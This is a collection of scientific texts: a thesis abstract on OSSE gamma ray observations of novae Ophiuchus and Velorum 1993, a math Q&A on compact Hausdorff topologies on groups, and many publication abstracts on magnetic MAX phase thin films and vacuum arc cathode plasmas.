# Gamma ray observations of black hole candidates nova Ophiuchus 1993 and nova Velorum 1993 ### Files in this item Files Size Format View 9727585.PDF 4.733Mb application/pdf Title: Gamma ray observations of black hole candidates nova Ophiuchus 1993 and nova Velorum 1993 Moss, Michael Jamieson Haymes, R. C. Doctor of Philosophy thesis Results of spectral analysis and time series analysis of the transient source x-ray nova Velorum 1993 (GRS 1009-45) and x-ray nova Ophicuhus 1993 (GRS 1716-249) are presented. These data were accumulated using the OSSE (Oriented Scintillation Spectrometer Experiment) low-energy gamma ray telescope on the Compton Gamma Ray Observatory. Spectral observations of the two x-ray novae showed the presence of gamma ray emission to greater than 100 keV, which is thought to be a signature of a binary system with an accreting black hole. Observations of GRS 1009-45 shows that it was in a gamma-ray soft state during the one-day OSSE observation, which occurred during the exponential decay phase of the outburst. The spectrum of GRS 2716-249 acquired during the plateau stage of outburst indicated a hard state, while spectra acquired during the sawtooth outbursts suggest that a hard to soft transition occurs as the decay progresses. The 40-200 keV pre-outburst luminosity of GRS 1716-249 is shown to be two orders of magnitude less than that estimated during the plateau-stage observation. The only significant power density spectrum was that acquired for GRS 1716-249 during the plateau stage of outburst. It is consistent with the sum of two QPO peaks at 0.128 and 0.32 Hz and a red noise ($\nu\sp{-1}$) component. This power spectrum is consistent with other black hole candidate power spectra for which the source is in the low state. Power spectra for GRS 1009-45 and GRS 1716-249 during the peak of a sawtooth outburst are also presented. They are consistent with band-limited white noise. Corresponding autocorrelations are shown for all observations. Moss, Michael Jamieson. (1997) "Gamma ray observations of black hole candidates nova Ophiuchus 1993 and nova Velorum 1993."

# Uniqueness of compact topology for a group Suppose $G$ is a compact $T_2$ group. Can there be other compact $T_2$ topologies on $G$ which also turn $G$ into a topological group? ($T_2$ refers to the Hausdorff separation axiom) - The topology of a compact Hausdorff space is maximal compact and minimal Hausdorff; that is, no finer topology is compact, and no coarser topology is compact. So if you have another compact Hausdorff topology, then it is neither finer nor coarser to the original one. –  Mariano Suárez-Alvarez Feb 15 '12 at 9:00 It may be worth stating that if you pick a topology once and for all and ask about uniqueness of smooth structures (if it has any at all!), then the answer is yes. –  Jason DeVito Feb 15 '12 at 13:49 Take the circle group $G=S^1=\mathbb R/\mathbb Z$. Any non-continuous automorphism of $\mathbb R$ which fixes pointwise the subgroup $\mathbb Z$ passes to the quotient and gives an automorphism $f$ of the abstract group $G$, which is not continuous. Now define a topology on $G$ so that a set $U$ is open iff $f(U)$ is open in the usual topology. This new topology is of course Hausdorff and compact, but it is different to the usual topology. Interesting, the resulting topological group is isomorphic (as topological group) to the original topological group, still the topology on the set $G$ is different. But I wonder more whether I could somehow prevent the implicit use of the axiom of choice. One idea would be to prescribe the Borel $\sigma$-algebra of a second-countable space and only allow topologies whose open sets belong to that $\sigma$-algebra. –  Thomas Klimpel Feb 15 '12 at 15:50

Complex magnetism in nanolaminated Mn2GaC2014Manuscript (preprint) (Other academic) We have used first-principles calculations and Heisenberg Monte Carlo simulations to search for the magnetic ground state of Mn2GaC, a recently synthesized magnetic nanolaminate. We have, independent on method, identified a range of low energy collinear as well as non-collinear magnetic configurations, indicating a highly frustrated magnetic material with several nearly degenerate magnetic states. An experimentally obtained magnetization of only 0.29 per Mn atom in Mn2GaC may be explained by canted spins in an antiferromagnetic configuration of ferromagnetically ordered sub-layers with alternating spin orientation, denoted AFM[0001]$\smal\text{A}\atop\text{4}$. Furthermore, low temperature X-ray diffraction show a new basal plane peak appearing upon a magnetic transition, which is consistent with the here predicted change in inter-layer spacing for the AFM[0001]$\smal\text{A}\atop\text{4}$ configuration. • 2.

Magnetically driven anisotropic structural changes in the atomic laminate Mn2GaC2016In: Physical Review B, ISSN 2469-9950, E-ISSN 2469-9969, Vol. 93, no 1, p. 014410-Article in journal (Refereed) Inherently layered magnetic materials, such as magnetic M(n+1)AX(n) (MAX) phases, offer an intriguing perspective for use in spintronics applications and as ideal model systems for fundamental studies of complex magnetic phenomena. The MAX phase composition M(n+1)AX(n) consists of M(n+1)AX(n) blocks separated by atomically thin A-layers where M is a transition metal, A an A-group element, X refers to carbon and/or nitrogen, and n is typically 1, 2, or 3. Here, we show that the recently discovered magnetic Mn2GaC MAX phase displays structural changes linked to the magnetic anisotropy, and a rich magnetic phase diagram which can be manipulated through temperature and magnetic field. Using first-principles calculations and Monte Carlo simulations, an essentially one-dimensional (1D) interlayer plethora of two-dimensioanl (2D) Mn-C-Mn trilayers with robust intralayer ferromagnetic spin coupling was revealed. The complex transitions between them were observed to induce magnetically driven anisotropic structural changes. The magnetic behavior as well as structural changes dependent on the temperature and applied magnetic field are explained by the large number of low energy, i.e., close to degenerate, collinear and noncollinear spin configurations that become accessible to the system with a change in volume. These results indicate that the magnetic state can be directly controlled by an applied pressure or through the introduction of stress and show promise for the use of Mn2GaC MAX phases in future magnetoelectric and magnetocaloric applications. fulltext • 3.

Origin of Chemically Ordered Atomic Laminates (i-MAX): Expanding the Elemental Space by a Theoretical/Experimental Approach2018In: ACS Nano, ISSN 1936-0851, E-ISSN 1936-086X, Vol. 12, no 8, p. 7761-7770Article in journal (Refereed) With increased chemical diversity and structural complexity comes the opportunities for innovative materials possessing advantageous properties. Herein, we combine predictive first-principles calculations with experimental synthesis, to explore the origin of formation of the atomically laminated i-MAX phases. By probing (Mo2/3M1/32)(2)AC (where M-2 = Sc, Y and A = Al, Ga, In, Si, Ge, In), we predict seven stable i-MAX phases, five of which should have a retained stability at high temperatures. (Mo2/3Sc1/3)(2)GaC and (Mo2/3Y1/3)(2)GaC were experimentally verified, displaying the characteristic in-plane chemical order of Mo and Sc/Y and Kagome-like ordering of the A-element. We suggest that the formation of i-MAX phases requires a significantly different size of the two metals, and a preferable smaller size of the A-element. Furthermore, the population of antibonding orbitals should be minimized, which for the metals herein (Mo and Sc/Y) means that A elements from Group 13 (Al, Ga, In) are favored over Group 14 (Si, Ge, Sn). Using these guidelines, we foresee a widening of elemental space for the family of i-MAX phases and expect more phases to be synthesized, which will realize useful properties. Furthermore, based on i-MAX phases as parent materials for 2D MXenes, we also expect that the range of MXene compositions will be expanded. fulltext • 4.

Direct measurement of anisotropic conductivity in a nanolaminated (Mn0.5Cr0.5)(2)GaC thin film2019In: Applied Physics Letters, ISSN 0003-6951, E-ISSN 1077-3118, Vol. 115, no 9, article id 094101Article in journal (Refereed) The direct and parameter-free measurement of anisotropic electrical resistivity of a magnetic M(n+1)AX(n) (MAX) phase film is presented. A multitip scanning tunneling microscope is used to carry out 4-probe transport measurements with variable probe spacing s. The observation of the crossover from the 3D regime for small s to the 2D regime for large s enables the determination of both in-plane and perpendicular-to-plane resistivities rho(ab) and rho(c). A (Cr0.5Mn0.5)(2)GaC MAX phase film shows a large anisotropy ratio rho(c)/rho(ab) = 525 +/- 49. This is a consequence of the complex bonding scheme of MAX phases with covalent M-X and metallic M-M bonds in the MX planes and predominately covalent, but weaker bonds between the MX and A planes.

Thermally induced substitutional reaction of Fe into Mo2GaC thin films2017In: MATERIALS RESEARCH LETTERS, ISSN 2166-3831, Vol. 5, no 8, p. 533-539Article in journal (Refereed) The first Fe-based MAX phase is realized by solid-state substitution reaction of an Fe/Au/Mo2GaC thin-film diffusion couple, as determined by X-ray diffraction and scanning transmission electron microscopy. Chemical analysis together with elemental mapping reveals that as much as 50 at.% Fe on the A site can be obtained by thermally induced Au and Fe substitution for Ga atomic layers in Mo2GaC. One-sixth of the original Ga is also replaced by Au atoms. When annealing Mo2GaC thin films covered with Fe only, the Mo2GaC phase remains intact, that is, Au acts as a catalyst for the substitution reaction. [GRAPHICS] . fulltext • 7.

Magnetic properties and structural characterization of layered (Cr0.5Mn0.5)(2)AuC synthesized by thermally induced substitutional reaction in (Cr0.5Mn0.5)(2)GaC2018In: APL MATERIALS, ISSN 2166-532X, Vol. 6, no 2, article id 026104Article in journal (Refereed) The magnetic properties of the new phase (Cr0.5Mn0.5)(2)AuC are compared to the known MAX-phase (Cr0.5Mn0.5)(2)GaC, where the former was synthesized by thermally induced substitution reaction of Au for Ga in (Cr0.5Mn0.5)(2)GaC. The reaction introduced a lattice expansion of similar to 3% along the c-axis, an enhancement of the coercive field from 30 mT to 140 mT, and a reduction of the Curie temperature and the saturation magnetization. Still, (Cr0.5Mn0.5)(2)AuC displays similar features in the magnetic field-and temperature-dependent magnetization curves as previously reported magnetic MAX phases, e.g., (Cr0.5Mn0.5)(2)GaC and (Mo0.5Mn0.5)(2)GaC. Thework suggests a pathway for tuning the magnetic properties of MAX phases. (c) 2018 Author(s).

Theoretical stability, thin film synthesis and transport properties of the Mon+1GaCn MAX phase2015In: Physica Status Solidi. Rapid Research Letters, ISSN 1862-6254, E-ISSN 1862-6270, Vol. 9, no 3, p. 197-201Article in journal (Refereed) The phase stability of Mon +1GaCn has been investigated using ab-initio calculations. The results indicate stability for the Mo2GaC phase only, with a formation enthalpy of 0.4 meV per atom. Subsequent thin film synthesis of Mo2GaC was performed through magnetron sputtering from elemental targets onto Al2O3 [0001], 6H-SiC [0001] and MgO [111] substrates within the temperature range of 500 degrees C and 750 degrees C. High structural quality films were obtained for synthesis on MgO [111] substrates at 590 degrees C. Evaluation of transport properties showed a superconducting behavior with a critical temperature of approximately 7 K, reducing upon the application of an external magnetic field. The results point towards the first superconducting MAX phase in thin film form. fulltext • 9. Linköping University, Department of Physics, Chemistry and Biology, Thin Film Physics.

Structural and mechanical properties of amorphous AlMgB14 thin films deposited by DC magnetron sputtering on Si, Al2O3 and MgO substrates2020In: Applied Physics A: Materials Science & Processing, ISSN 0947-8396, E-ISSN 1432-0630, Vol. 126, no 2, article id 133Article in journal (Refereed) AlMgB14 coatings have been deposited by DC magnetron sputtering from elemental targets on Si (001), Al2O3 (0001) and MgO (001) substrates at temperatures in the range of 25-350 degrees C. The structural and mechanical properties of AlMgB14 films were characterized by X-ray diffraction, scanning electron microscopy, nanoindentation, and analyzed as a function of deposition conditions and substrate materials. The results show that all films are X-ray amorphous, and the mechanical properties of the deposited films depend on the substrate and growth temperature. AlMgB14 thin films deposited at 350 degrees C are found to have smoother surfaces and containing more well-formed B-12 icosahedra than the films deposited at lower temperature, which consequently increase the hardness of the deposited films. The maximum hardness and Youngs modulus of the as-deposited films are about 32.3 GPa and 310 GPa, respectively, for films deposited on Al2O3 substrate at 350 degrees C. fulltext • 10.

Large uniaxial magnetostriction with sign inversion at the first order phase transition in the nanolaminated Mn2GaC MAX phase2018In: Scientific Reports, ISSN 2045-2322, E-ISSN 2045-2322, Vol. 8, no 1, article id 2637Article in journal (Refereed) In 2013, a new class of inherently nanolaminated magnetic materials, the so called magnetic MAX phases, was discovered. Following predictive material stability calculations, the hexagonal Mn2GaC compound was synthesized as hetero-epitaxial films containing Mn as the exclusive M-element. Recent theoretical and experimental studies suggested a high magnetic ordering temperature and non-collinear antiferromagnetic (AFM) spin states as a result of competitive ferromagnetic and antiferromagnetic exchange interactions. In order to assess the potential for practical applications of Mn2GaC, we have studied the temperature-dependent magnetization, and the magnetoresistive, magnetostrictive as well as magnetocaloric properties of the compound. The material exhibits two magnetic phase transitions. The Néel temperature is T N  ~ 507 K, at which the system changes from a collinear AFM state to the paramagnetic state. At T t  = 214 K the material undergoes a first order magnetic phase transition from AFM at higher temperature to a non-collinear AFM spin structure. Both states show large uniaxial c-axis magnetostriction of 450 ppm. Remarkably, the magnetostriction changes sign, being compressive (negative) above T t and tensile (positive) below the T t . The sign change of the magnetostriction is accompanied by a sign change in the magnetoresistance indicating a coupling among the spin, lattice and electrical transport properties. fulltext • 11.

Long-term stability and thickness dependence of magnetism in thin (Cr0.5Mn0.5)(2)GaC MAX phase films2019In: MATERIALS RESEARCH LETTERS, ISSN 2166-3831, Vol. 7, no 4, p. 159-163Article in journal (Refereed) The thickness dependence and long-term stability of the magnetic properties of epitaxial (Cr0.5Mn0.5)(2)GaC MAX phase films on MgO (111) were investigated. For 12.5- to 156-nm-thick films, which corresponds to 10-125 c-axis unit cells, samples were found to be phase pure with negligible c-axis lattice strain of less than 10(-4) nm even for the thinnest films. No influence of the interface layers on the magnetic anisotropy, the magnetization or the para- to ferromagnetic phase transition was observed. All samples remained stable for more than one year in ambient conditions. [GRAPHICS] IMPACT STATEMENT The complex temperature- and magnetic field-dependent magnetism of electrically conducting (Cr0.5Mn0.5)(2)GaC MAX phase films is environmentally robust over one year and independent on interface effects. fulltext • 12.

Synthesis and characterization of Ga-containing MAX phase thin films2014Licentiate thesis, comprehensive summary (Other academic) The study of magnetic Mn+1AXn (MAX) phases (n = 1 − 3, M – a transition metal, A – an A group element, X – C or N) is a recently established research area, fuelled by theoretical predictions and first confirmed experimentally through alloying of Mn into the well-known Cr2AlC and Cr2GeC. Theoretical phase stability investigations suggested a new magnetic MAX phase, Mn2GaC, containing Ga which is liquid close to room temperature. Hence, alternative routes for MAX phase synthesis were needed, motivating a further development of magnetron sputtering from liquid targets. In this thesis, (Cr1-xMnx)2GaC 0 ≤ x ≤ 1  MAX phase thin films have been synthesized from elemental and/or compound targets, using ultra high vacuum magnetron sputtering. Initial thin film synthesis of Cr2GaC was performed using elemental targets, including liquid Ga. Process optimization ensured optimal target size and crucible geometry for containing the Ga. Films were deposited at 650 °C on MgO(111) substrates. X-ray diffraction and transmission electron microscopy confirms the growth of epitaxial Cr2GaC MAX phase with minor inclusions of Cr3Ga. To explore the magnetic characteristics upon Mn alloying, synthesis of (Cr0.5Mn0.5)2GaC thin films was performed from elemental Ga and C and a composite Cr/Mn target of 1:1 composition. Films were deposited on MgO(111), Al2O3(0001) (with or without NbN seed layer), and 4° off-cut 4H-SiC(0001) substrates. The films are smooth and of high structural quality as confirmed by X-ray diffraction and transmission electron microscopy. The film composition measured by high resolution energy dispersive X-ray spectroscopy confirms a composition corresponding to (Cr0.5Mn0.5)2GaC. The magnetic response, as measured with vibrating sample magnetometry, displays a ferromagnetic component, however, the temperature dependence of the magnetic moments and saturation fields suggests competing magnetic interaction and possible non-collinear magnetic ordering. Finally, inspired by theoretical predictions, a new member of the MAX phase family, Mn2GaC, was synthesized. This is the first MAX phase containing Mn as a sole M element. X-ray diffraction and transmission electron microscopy confirms the characteristic MAX phase structure with a 2:1:1 composition. Theoretical work suggests that the magnetic ground state is almost degenerate between ferromagnetic and anti-ferromagnetic. Vibrating sample magnetometry shows ferromagnetic response with a transition temperature Tc of 230 K. However, also for this phase, complex magnetism is suggested. Altogether, the results indicate a new family of magnetic nanolaminates with a rich variation of magnetic ground states. 1.

Synthesis and characterization of magnetic nanolaminated carbides2018Doctoral thesis, comprehensive summary (Other academic) MAX phases are a group of nanolaminated ternary carbides and nitrides, with a composition expressed by the general formula Mn+1AXn (𝑛 = 1 − 3), where M is a transition metal, A is an A-group element, and X is carbon and/or nitrogen. MAX phases have attracted interest due to their unique combination of metallic and ceramic properties, related to their inherently laminated structure of a transition metal carbide (Mn+1Xn) layer interleaved by an A-group metal layer. This Thesis explores synthesis and characterization of magnetic MAX phases, where the A-group element is gallium (Ga). Due to the low melting point of Ga (T = 30 °C), conventional thin film synthesis methods become challenging, as the material is in liquid form at typical process temperatures. Development of existing methods has therefore been investigated, for reliable/reproducible synthesis routes, including sputtering from a liquid target, and resulting high quality material. Routes for minimizing trial-and-error procedures during optimization of thin film synthesis have also been studied, allowing faster identification of optimal deposition conditions and a simplified transfer of essential deposition parameters between different deposition systems. A large part of this Thesis is devoted towards synthesis of MAX phase thin films in the Cr-Mn-Ga-C system. First, through process development, thin films of Cr2GaC were deposited by magnetron sputtering. The films were epitaxial, however with small amount of impurity phase Cr3Ga, as confirmed by X-ray diffraction (XRD) measurements. The film structure was confirmed by scanning transmission electron microscopy (STEM) and the composition by energy dispersive X-ray spectroscopy (EDX) inside the TEM. Inspired by predictive ab initio calculations, the new MAX phase Mn2GaC was successfully synthesized in thin film form by magnetron sputtering. Structural parameters and magnetic properties were analysed. The material was found to have two magnetic transitions in the temperature range 3 K to 750 K, with a first order transition at around 214 K, going from non-collinear antiferromagnetic state at lower temperature to an antiferromagnetic state at higher temperature. The Neél temperature was determined to be 507 K, changing from an antiferromagnetic to a paramagnetic state. Above 800 K, Mn2GaC decomposes. Furthermore, magnetostrictive, magnetoresistive and magnetocaloric properties of the material were iv determined, among which a drastic change in lattice parameters upon the first magnetic transition was observed. This may be of interest for magnetocaloric applications. Synthesis of both Cr2GaC and Mn2GaC in thin film form opens the possibility to tune the magnetic properties through a solid solution on the transition metal site, by alloying the aforementioned Cr2GaC with Mn, realizing (Cr1-xMnx)2GaC. From a compound target with a Cr:Mn ratio of 1:1, thin films of (Cr0.5Mn0.5)2GaC were synthesized, confirmed by TEM-EDX. Optimized structure was obtained by deposition on MgO substrates at a deposition temperature of 600 ºC. The thin films were phase pure and of high structural quality, allowing magnetic measurements. Using vibrating sample magnetometry (VSM), it was found that (Cr0.5Mn0.5)2GaC has a ferromagnetic component in the temperature range from 30 K to 300 K, with the measured magnetic moment at high field decreasing by increasing temperature. The remanent moment and coercive field is small, 0.036 μB, and 12 mT at 30 K, respectively. Using ferromagnetic resonance spectroscopy, it was also found that the material has pure spin magnetism, as indicated by the determined spectroscopic splitting factor g = 2.00 and a negligible magnetocrystalline anisotropy energy. Fuelled by the recent discoveries of in-plane chemically ordered quaternary MAX phases, so called i-MAX phases, and guided by ab initio calculations, new members within this family, based on Cr and Mn, were synthesized by pressureless sintering methods, realizing (Cr2/3Sc1/3)2GaC and (Mn2/3Sc1/3)2GaC. Their structural properties were determined. Through these phases, the Mn content is the highest obtained in a bulk MAX phase to date. This work has further developed synthesis processes for sputtering from liquid material, for an optimized route to achieve thin films of controlled composition and a high structural quality. Furthermore, through this work, Mn has been added as a new element in the family of MAX phase elements. It has also been shown, that alloying with different content of Mn gives rise to varying magnetic properties in MAX phases. As a result of this Thesis, it is expected that the MAX phase family can be further expanded, with more members of new compositions and new properties. 1.

Synthesis of atomically layered and chemically ordered rare-earth (RE) i-MAX phases; (Mo2/3RE1/3)2GaC with RE = Gd, Tb, Dy, Ho, Er, Tm, Yb, and Lu2019In: Materials Research Letters, ISSN 2166-3831, Vol. 7, no 11, p. 446-452Article in journal (Refereed) We report the synthesis of eight new members of the i-MAX family, of the formula (Mo2/3RE1/3)2GaC, where RE = Gd, Tb, Dy, Ho, Er, Tm, Lu, and Yb, the latter not previously incorporated in a MAX phase. The structure and composition of powder samples were investigated by X-ray diffraction, scanning transmission electron microscopy, and energy dispersive X-ray analysis combined with scanning electron microscopy. All phases showed evidence of an orthorhombic (Cmcm) structure, and the phases based on Er and Yb also crystallized in a monoclinic (C2/c) arrangement. The chemical order of the magnetic elements suggests interesting magnetic characteristics, with a high tuning potential through the range of attainable lanthanide elements. fulltext attachment • 15.

Theoretical Prediction and Experimental Verification of the Chemically Ordered Atomic-Laminate i-MAX Phases (Cr2/3Sc1/3)(2)GaC and (Mn2/3Sc1/3)(2)GaC2020In: Crystal Growth & Design, ISSN 1528-7483, E-ISSN 1528-7505, Vol. 20, no 1, p. 55-61Article in journal (Refereed) We combine predictive ab initio calculations with experimental verification of bulk materials synthesis for exploration of new and potentially magnetic atomically laminated i-MAX phases. Two such phases are discovered: (Cr2/3Sc1/3)(2)GaC and (Mn2/3Sc1/3)(2)GaC synthesized by the solid state reaction from elemental constituents. The latter compound displays a 2-fold increase in Mn content compared to previously reported bulk MAX phases. Both new compounds exhibit the characteristic in-plane chemical order of Cr(Mn) and Sc, and crystallize in an orthorhombic structure, space group Cmcm, as confirmed by scanning transmission electron microscopy. From density functional theory calculations of the magnetic ground state, including the electron-interaction parameter U, we suggest an antiferromagnetic ground state, close to degenerate with the ferromagnetic state.

Phase stability of Crn+1GaCn MAX phases from first principles and Cr2GaC thin-film synthesis using magnetron sputtering from elemental targets2013In: Physica Status Solidi. Rapid Research Letters, ISSN 1862-6254, E-ISSN 1862-6270, Vol. 7, no 11, p. 971-974Article in journal (Refereed) Ab-initio calculations have been used to investigate the phase stability and magnetic state of Crn+ 1GaCn MAX phase. Cr2GaC (n = 1) was predicted to be stable, with a ground state corresponding to an antiferromagnetic spin configuration. Thin-film synthesis by magnetron sputtering from elemental targets, including liquid Ga, shows the formation of Cr2GaC, previously only attained from bulk synthesis methods. The films were deposited at 650 degrees C on MgO(111) substrates. X-ray diffraction and high-resolution transmission electron microscopy show epitaxial growth of (000) MAX phase. fulltext • 17.

Synthesis and characterization of magnetic (Cr0.5Mn0.5)2GaC thin films2015In: Journal of Materials Science, ISSN 0022-2461, E-ISSN 1573-4803, Vol. 50, no 13, p. 4495-4502Article in journal (Refereed) Growth of (Cr0.5Mn0.5)2GaC thin films from C, Ga, and compound Cr0.5Mn0.5 targets is reported for depositions on MgO (111), 4H-SiC (0001), and Al2O3 (0001) with and without a NbN (111) seed layer. Structural quality is found to be highly dependent on the choice of substrate with MgO (111) giving the best results as confirmed by X-ray diffraction and transmission electron microscopy. Phase pure, high crystal quality MAX phase thin films are realized, with a Cr:Mn ratio of 1:1. Vibrating sample magnetometry shows a ferromagnetic component from 30 K up to 300 K, with a measured net magnetic moment of 0.67 μB per metal (Cr + Mn) atom at 30 K and 5 T. The temperature dependence of the magnetic response suggests competing magnetic interactions with a resulting non-collinear magnetic ordering. fulltext • 18. University of Duisburg Essen, Germany.

Magnetic Anisotropy in the (Cr0.5Mn0.5)(2)GaC MAX Phase2015In: MATERIALS RESEARCH LETTERS, ISSN 2166-3831, Vol. 3, no 3, p. 156-160Article in journal (Refereed) Magnetic MAX phase (Cr0.5Mn0.5)(2)GaC thin films grown epitaxially on MgO(111) substrates were studied by ferromagnetic resonance at temperatures between 110 and 300 K. The spectroscopic splitting factor g = 2.00 +/- 0.01 measured at all temperatures indicates pure spin magnetism in the sample. At all temperatures we find the magnetocrystalline anisotropy energy to be negligible which is in agreement with the identified pure spin magnetism. fulltext • 19.

Atomically Layered and Ordered Rare-Earth i-MAX Phases: A New Class of Magnetic Quaternary Compounds2019In: Chemistry of Materials, ISSN 0897-4756, E-ISSN 1520-5002, Vol. 31, no 7, p. 2476-2485Article in journal (Refereed) In 2017, we discovered quaternary i-MAX phases atomically layered solids, where M is an early transition metal, A is an A group element, and X is C-with a ((M2/3M1/32)-M-1)(2)AC chemistry, where the M-1 and M-2 atoms are in-plane ordered. Herein, we report the discovery of a class of magnetic i-MAX phases in which bilayers of a quasi-2D magnetic frustrated triangular lattice overlay a Mo honeycomb arrangement and an Al Kagome lattice. The chemistry of this family is (Mo2/3RE1/3)(2)AlC, and the rare-earth, RE, elements are Ce, Pr, Nd, Sm, Gd, Tb, Dy, Ho, Er, Tm, and Lu. The magnetic properties were characterized and found to display a plethora of ground states, resulting from an interplay of competing magnetic interactions in the presence of magnetocrystalline anisotropy. fulltext • 20.

Effect of Ti-Al cathode composition on plasma generation and plasma transport in direct current vacuum arc2014In: Journal of Applied Physics, ISSN 0021-8979, E-ISSN 1089-7550, Vol. 115, no 12, p. 123301-Article in journal (Refereed) DC arc plasma from Ti, Al, and Ti1-xAlx (x = 0.16, 0.25, 0.50, and 0.70) compound cathodes was characterized with respect to plasma chemistry and charge-state-resolved ion energy. Scanning electron microscopy, X-ray diffraction, and Energy-dispersive X-ray spectroscopy of the deposited films and the cathode surfaces were used for exploring the correlation between cathode-, plasma-, and film composition. Experimental work was performed at a base pressure of 10(-6) Torr, to exclude plasma-gas interaction. The plasma ion composition showed a reduction of Al of approximately 5 at. % compared to the cathode composition, while deposited films were in accordance with the cathode stoichiometry. This may be explained by presence of neutrals in the plasma/vapour phase. The average ion charge states (Ti = 2.2, Al = 1.65) were consistent with reference data for elemental cathodes, and approximately independent on the cathode composition. On the contrary, the width of the ion energy distributions (IEDs) were drastically reduced when comparing the elemental Ti and Al cathodes with Ti0.5Al0.5, going from similar to 150 and similar to 175 eV to similar to 100 and similar to 75 eV for Ti and Al ions, respectively. This may be explained by a reduction in electron temperature, commonly associated with the high energy tail of the IED. The average Ti and Al ion energies ranged between similar to 50 and similar to 61 eV, and similar to 30 and similar to 50 eV, respectively, for different cathode compositions. The attained energy trends were explained by the velocity rule for compound cathodes, which states that the most likely velocities of ions of different mass are equal. Hence, compared to elemental cathodes, the faster Al ions will be decelerated, and the slower Ti ions will be accelerated when originating from compound cathodes. The intensity of the macroparticle generation and thickness of the deposited films were also found to be dependent on the cathode composition. The presented results may be of importance for choice of cathodes for thin film depositions involving compound cathodes. fulltext • 21.

Vacuum arc plasma generation and thin film deposition from a TiB2 cathode2015In: Applied Physics Letters, ISSN 0003-6951, E-ISSN 1077-3118, Vol. 107, no 18, p. 184103-Article in journal (Refereed) We have studied the utilization of TiB2 cathodes for thin film deposition in a DC vacuum arc system. We present a route for attaining a stable, reproducible, and fully ionized plasma flux of Ti and B by removal of the external magnetic field, which leads to dissipation of the vacuum arc discharge and an increased active surface area of the cathode. Applying a magnetic field resulted in instability and cracking, consistent with the previous reports. Plasma analysis shows average energies of 115 and 26 eV, average ion charge states of 2.1 and 1.1 for Ti and B, respectively, and a plasma ion composition of approximately 50% Ti and 50% B. This is consistent with measured resulting film composition from X-ray photoelectron spectroscopy, suggesting a negligible contribution of neutrals and macroparticles to the film growth. Also, despite the observations of macroparticle generation, the film surface is very smooth. These results are of importance for the utilization of cathodic arc as a method for synthesis of metal borides. (C) 2015 AIP Publishing LLC. fulltext • 22.

Effect of Ti-Al cathode grain size on plasma generation and thin film synthesis from a direct current vacuum arc plasma source2019In: AIP Advances, ISSN 2158-3226, E-ISSN 2158-3226, Vol. 9, no 4, article id 045008Article in journal (Refereed) Herein, we investigate the influence of powder metallurgical manufactured Ti0.5Al0.5 cathode grain size (45-150 mu m) on the properties of a DC arc discharge, for N-2 pressures in the range 10(-5) Torr (base pressure) up to 3x10(-2) Torr. Intermetallic TiAl cathodes are also studied. The arc plasma is characterized with respect to ion composition, ion charge state, and ion energy, and is found to change with pressure, independent on choice of cathode. Scanning electron microscopy, X-ray diffraction, and Energy-dispersive X-ray spectroscopy of the cathode surfaces and the concurrently deposited films are used for exploring the correlation between cathode-, plasma-, and film composition. The plasma has a dominating Al ion content at elevated pressures, while the film composition is consistent with the cathode composition, independent on cathode grain size. Cross-sections of the used cathodes are studied, and presence of a converted layer, up to 10 mu m, is shown, with an improved intermixing of the elements on the cathode surface. This layer is primarily explained by condensation of cathode material from the melting and splashes accompanying the arc spot movement, as well as generated plasma ions being redeposited upon returning to the cathode. The overall lack of dependence on grain size is likely due to similar physical properties of Ti, Al and TiAl grains, as well as the formation of a converted layer. The presented findings are of importance for large scale manufacturing and usage of Ti-Al cathodes in industrial processes. (C) 2019 Author(s). fulltext • 23.

Generation of super-size macroparticles in a direct current vacuum arc discharge from a Mo-Cu cathode2016In: Applied Physics Letters, ISSN 0003-6951, E-ISSN 1077-3118, Vol. 108, no 5, p. 054103-Article in journal (Refereed) An inherent property of cathodic arc is the generation of macroparticles, of a typical size ranging from submicrometer up to a few tens of mu m. In this work, we have studied macroparticle generation from a Mo0.78Cu0.22 cathode used in a dc vacuum arc discharge, and we present evidence for super-size macroparticles of up to 0.7mm in diameter. All analyzed particles are found to be rich in Mo (>= 98 at. %). The particle generation is studied by visual observation of the cathode surface during arcing, by analysis of composition and geometrical features of the used cathode surface, and by examination of the generated macroparticles with respect to shape and composition. A mechanism for super-size macroparticle generation is suggested based on observed segregated layers of Mo and Cu identified in the topmost part of the cathode surface, likely due to the discrepancy in melting and evaporation temperatures of Mo and Cu. The results are of importance for increasing the fundamental understanding of macroparticle generation, which in turn may lead to increased process control and potentially provide paths for tuning, or even mitigating, macroparticle generation.

Effect of cathode composition and nitrogen pressure on macroparticle generation and type of arc discharge in a DC arc source with Ti-Al compound cathodes2015In: Surface & Coatings Technology, ISSN 0257-8972, E-ISSN 1879-3347, Vol. 281, p. 20-26Article in journal (Refereed) Thin films deposited with unfiltered DC arc plasma from Ti, Ti0.75Al0.25, Ti0.50Al0.50, Ti0.30Al0.70, and Al cathodes were characterized with a scanning electron microscope for quantification of extent of macroparticle incorporation. Depositions were performed in N-2 atmosphere in the pressure range from 10(-6) Torr up to 3 . 10(-2) Torr, and the formation of cathode surface nitride contamination was identified from X-ray diffraction analysis. Visual observation and photographic fixation of the arc spot behavior was simultaneously performed. A reduction in macroparticle generation with decreasing Al content and increasing N-2 pressure was demonstrated. A correlated transformation of the arc from type 2 to the type 1 was visually detected and found to be a function of N-2 pressure and at of Al in the cathode. For the Ti cathode, no arc transformation was detected. These observations can be explained by a comparatively high electrical resistivity and high melting point of Al rich surface nitrides, promoting an arc transformation and a reduction in macropartide generation.

Effect of Mo-Cu cathode composition on process stability, macroparticle formation, plasma generation, and thin-film deposition in DC arc synthesis2020In: Journal of Applied Physics, ISSN 0021-8979, E-ISSN 1089-7550, Vol. 127, no 1, article id 013301Article in journal (Refereed) In this work, we present the correlation between cathode composition and features of the arcing process for Mo1-xCux [x = 0.0, 0.07 (0.05), 0.14 (0.10), 0.21 (0.15), 0.40 (0.3), 0.73 (0.63), 0.97 (0.95), and 1.00, atomic fraction (weight fraction)] cathodes used in a DC vacuum-arc deposition system. It is found that the stability of the arcing process crucially depends on the cathode composition. The most stable arc spot and the lowest cathode potential (similar to 19 V) are detected for the Mo0.27Cu0.73 cathode, while the Mo0.93Cu0.07 cathode shows the most unstable arcing process with the highest cathode potential (similar to 28 V). The properties of the generated plasma are also strongly dependent on the relative ratio of the cathode elements. The metal ions from the Mo and Cu cathodes have peak kinetic energies around 136 and 62 eV, respectively, while for a Mo0.79Cu0.21 cathode, the corresponding energies are only 45 and 28 eV. The average charge states decreased from 2.1 to 1.6 for Mo ions and from 2 to 1.2 for Cu ions. The intensity of macroparticle generation and the size of the droplets correlate with the relative fraction of Cu. However, it is shown that, typically for the cathodes with a low amount of Cu, an increased abundance of visually observed macroparticles leads to droplet-free films. The film thicknesses and their compositions also demonstrate dependencies on the elemental composition of the cathode. These results are 